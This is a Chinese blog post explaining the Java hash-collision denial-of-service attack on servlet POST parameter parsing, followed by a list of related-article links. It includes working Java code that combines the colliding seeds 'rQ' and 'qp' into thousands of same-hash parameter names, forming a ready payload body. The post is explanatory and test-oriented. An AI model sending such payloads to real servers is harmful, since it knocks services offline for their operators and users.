其原理很简单:利用hashcode的实现机制,构造大量会产生相同hashcode的key,导致hashmap的定位时间由O(1)降为0(n)(也就是使hash表退化成链表)。由于servlet规范里的处理post请求一般都采用hashmap存储request的key和value对,当处理成千上万的会产生相同hashcode的请求参数名时,就造成hashmap的定位性能急剧下降,导致cpu繁忙,达到拒绝服务攻击的目的。

而由于java采用DJBX33A算法产生hash值,因此很容易构造大量具有相同hashcode的值。这里探讨一下如何构造这个值。常见的有“相等字串法”和“中间相遇法”,以下援引一段别人的文字来说明这个“相等字串法”:

由于DJBX33A系列哈希算法满足一个很有意思的特性:如果hash(“string1”) = hash(“string2”),那么在相同位置包含此2个子串的父串哈希结果将会产生碰撞,既:hash(“prefix_string1_postfix”) = hash(“prefix_string2_postfix”)。根据这一特性,攻击者如果能找到最简单的两个碰撞字符串,那么就可以很快通过反复组合,生成2的n次方个长度为2n的碰撞字符串。

这个看起来实现不难哈,只要找一对可以有相同hashcode的字串,通过一定的排列组合算法就行了。假定我们要求的key的长度为10,那么就可以生产2的10次方,也就是1024个key符合我们的要求(具有相同的hashcode,但有不同的值)。这个算法怎么写呢,其实也就是算出两个字符能组合成多少个不同的N位长度的字符。比如有两个字母a 和 b,要组合成2位数,那么共有以下几种排列:ab、aa、bb、ba。是不是有点像“找出n元素的全部子集"的算法。写这个算法有些麻烦,我想了一阵,来个取巧的吧:

我们把数字转化成2进制,这样二进制的0,1就代表我们的两个字母,我们只要用我们字母替换0,1就可以了。比如要组合成4位数,那么就有16种组合,就是将从0到15之间15之间的全部数字都换成二进制, 也就是0000-1111之间的所有二进制。我们把这些二进制数字里的0和1分别用a和b替换,就是我们要的结果哈。

根据以上方法,用java很容易就可以写个生成碰撞字串的方法,而且速度也很快,生成15次方的字串的用的时间也是秒这一数量级,可以满足测试的要求:(偶找了rQ和qp这两个可以产生相同hashcode的字串作为种子)

public static final String S0 = "rQ";

public static final String S1 = "qp";

private static String mkHashParams(int size, String mockVal) {

Long maxVal = (long) Math.pow(2, size);

System.out.println("size=" + maxVal + ",int val=" + maxVal.intValue());

StringBuilder sb = new StringBuilder();

String it = null;

String bInt = null;

String changedBInt = null;

for (int i = 0; i < maxVal; i++) {

it = null;

bInt = Long.toBinaryString(i);

changedBInt = bInt.replace("0", S0);

changedBInt = changedBInt.replace("1", S1);

it = changedBInt;

int tmpLength = bInt.length();

if (tmpLength < size) {

long appendLength = size - tmpLength;

it = mkAppendedStr(appendLength, it);

}

if (i > 0) {

sb.append("&");

}

sb.append(it);

sb.append("=");

sb.append(mockVal);

// System.out.println("it="+it+",hash ="+it.hashCode());

}

String str = sb.toString();

write(str, "c:/d", "hash_params.txt");

return str;

}

private static String mkAppendedStr(long length, String it) {

StringBuilder sb = new StringBuilder();

for (int i = 0; i < length; i++) {

sb.append(S0);

}

sb.append(it);

return sb.toString();

}

java 哈希碰撞_Hash碰撞拒绝服务攻击相关推荐

  1. crc32碰撞_hash碰撞的概率和可能性比你直觉中大得多

    注:这篇文章源自我10年前写的博客,今天看到有人谈密码安全的,再发一遍和大家讨论下.我发现哪怕10年后,这文章也没过时,很多人还是没拎清 冲突概率和样本空间的关系. 前段时间跟某大牛叽歪的时候,被提到 ...

  2. 网络安全——网络攻击原理(嗅探攻击、截获攻击、拒绝服务攻击)

    摘要: 网络攻击是导致网络安全威胁的主要原因,嗅探攻击.截获攻击.拒绝服务攻击等是常见的网络攻击.网络攻击和网络安全是矛盾的两个方面,但是了解网络攻击手段可以帮助我们更好地保护网络安全.嗅探攻击是被动 ...

  3. java 哈希碰撞攻击_php中的哈希碰撞以及防御

    php中的哈希表 php中的变量是以符号表的方式进行存储的,实际上也是个HashTable,哈希表是通过特定的哈希算法将索引转换成特定的index然后映射到对应的槽中,然后采用拉链法,在一个槽中使用链 ...

  4. 如何防止因哈希碰撞引起的DoS攻击

    如何防止因哈希碰撞引起的DoS攻击 理解哈希 什么是哈希 哈希和数组 哈希算法 哈希碰撞 鸽巢原理 为什么不能避免哈希碰撞 哈希算法的特点 如何解决哈希碰撞 开放寻址法 线性探测 线性探测法适用场景 ...

  5. 【网络安全】——服务端安全(注入攻击、认证与会话管理和访问控制、访问控制、加密算法与随机数、Web框架安全、应用层拒绝服务攻击DDOS)

    这一篇博客记录的是服务端安全应用安全的知识,学习内容来自<白帽子讲Web安全>. ​ 承接自上一篇客户端安全之后,包括注入攻击.认证与会话管理和访问控制.访问控制.加密算法与随机数.Web ...

  6. 拒绝服务攻击漏洞-Hash

    攻击的原理很简单, 目前很多语言, 使用hash来存储k-v数据, 包括常用的来自用户的POST数据, 攻击者可以通过构造请求头, 并伴随POST大量的特殊的"k"值(根据每个语言 ...

  7. 缓慢的http拒绝服务攻击 tomcat_攻击技术

    一.跨站脚本攻击 概念 跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript. 攻击原理 例如有一个论 ...

  8. GitChat 被恶意攻击引发的技术性思考:拒绝服务攻击

    本文来自作者 肖志华 在 GitChat 上分享 「GitChat 被恶意攻击引发的技术性思考:拒绝服务攻击」,「阅读原文」查看交流实录. 「文末高能」 编辑 | 哈比 拒绝服务的类型很多,挑几个有特 ...

  9. Tomcat 安全漏洞 - 缓慢的HTTP拒绝服务攻击 / 启动了OPTIONS方法

    缓慢的HTTP拒绝服务攻击 slow_Http_DoS  原理:通过并发连接池进行的慢速读攻击(基于TCP持久时间)等.慢速攻击基于HTTP协议,通过精心的设计和构造,这种特殊的请求包会造成服务器延时 ...

最新文章

  1. python读音有道词典-centos7安装有道词典(不能发音和取词)
  2. 解决使用个推后背景音乐音量变小问题
  3. html5调盒子边框大小,CSS3 - 盒子大小(CSS3 - Box Sizing)
  4. VC下几种转换为UNICODE字符串的方法
  5. jquery的html,text,val
  6. debian 安装_如何在 Debian/Ubuntu 系统中检查程序包是否安装?
  7. SQL SERVER中的二种获得自增长ID的方法
  8. fcq java_Java设计模式百例 - 解释器模式
  9. jsp中使用ueditor
  10. 初学Rman 写的备份脚本
  11. 《Java核心技术 卷1》
  12. 【时间序列】动态时间规整(DTW)算法简介(python)
  13. MySQL数据库索引面试题(最新版)
  14. 关于app 元素定位
  15. Linux查看mpp数据库地址,linux下打开.mpp文件(微软project)._操作系统_rainysia的专栏-CSDN博客...
  16. 二维baker映射 matlab,基于Baker映射的混沌图像加密算法
  17. WebSphere启动时遇到javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?
  18. 磨金石教育摄影技能干货分享|人物系列摄影作品欣赏
  19. PWM频率与占空比的关系
  20. 【技术干货】聊聊在大厂推荐场景中embedding都是怎么做的

热门文章

  1. 2015年04月26日
  2. R极简教程-3:R及RStudio的安装
  3. Unity 优化技巧集锦
  4. MPB:山大倪金凤组-白蚁肠道优势厌氧菌的分离与培养
  5. 面向 IoT 物联网的架构设计参考
  6. php公众号wxv播放器代码
  7. 纯html页面怎么配置iis,iis配置html网站
  8. C语言实现的滑动平均滤波算法
  9. RTC纽扣电池供电模块电路分析
  10. 减压降负-甜橙金融客户平台缓存改造之路